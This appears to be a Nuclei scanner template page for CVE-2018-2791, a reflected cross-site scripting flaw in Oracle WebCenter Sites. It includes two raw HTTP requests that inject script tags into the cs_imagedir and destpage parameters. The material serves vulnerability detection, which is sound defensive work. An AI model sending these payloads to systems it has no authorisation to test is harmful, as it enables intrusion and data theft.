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Oracle Fusion Middleware WebCenter Sites - Cross-Site Scripting

ID: CVE-2018-2791

Severity: high

Author: madrobot,leovalcante

Tags: cve2018,cve,edb,oracle,xss,wcs

The Oracle WebCenter Sites component of Oracle Fusion Middleware is susceptible to multiple instances of cross-site scripting that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebCenter Sites. Impacted versions that are affected are 11.1.1.8.0, 12.2.1.2.0 and 12.2.1.3.0. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Sites accessible data.

id: CVE-2018-2791
info:
name: Oracle Fusion Middleware WebCenter Sites - Cross-Site Scripting
author: madrobot,leovalcante
severity: high
description: The Oracle WebCenter Sites component of Oracle Fusion Middleware is susceptible to multiple instances of cross-site scripting that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebCenter Sites. Impacted versions that are affected are 11.1.1.8.0, 12.2.1.2.0 and 12.2.1.3.0. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Sites accessible data.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches provided by Oracle to address this vulnerability.
reference:
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://web.archive.org/web/20211206165005/https://securitytracker.com/id/1040695
- https://www.exploit-db.com/exploits/44752/
- https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites
- https://nvd.nist.gov/vuln/detail/CVE-2018-2791
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2018-2791
epss-score: 0.02132
epss-percentile: 0.89226
cpe: cpe:2.3:a:oracle:webcenter_sites:11.1.1.8.0:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: oracle
product: webcenter_sites
tags: cve2018,cve,edb,oracle,xss,wcs
http:
- raw:
- |
GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=qqq%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{BaseURL}}
- |
GET /cs/Satellite?destpage="<h1xxx"><script>alert(document.domain)</script>&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError HTTP/1.1
Host: {{BaseURL}}
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>/graphics/common/screen/dotclear.gif'
- type: word
part: body
words:
- '<script>alert(24)</script>'
- 'Missing translation key'
condition: and
# digest: 4a0a00473045022000e0f689b888381295db18286eb8a3a8f0f81b6629a7f7b3d7193b6651f8b7f7022100ec69e058fe7e843cc45e66a2b995950fef82bcef5928bd86b65be3edc451bed0:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-2791.yaml"

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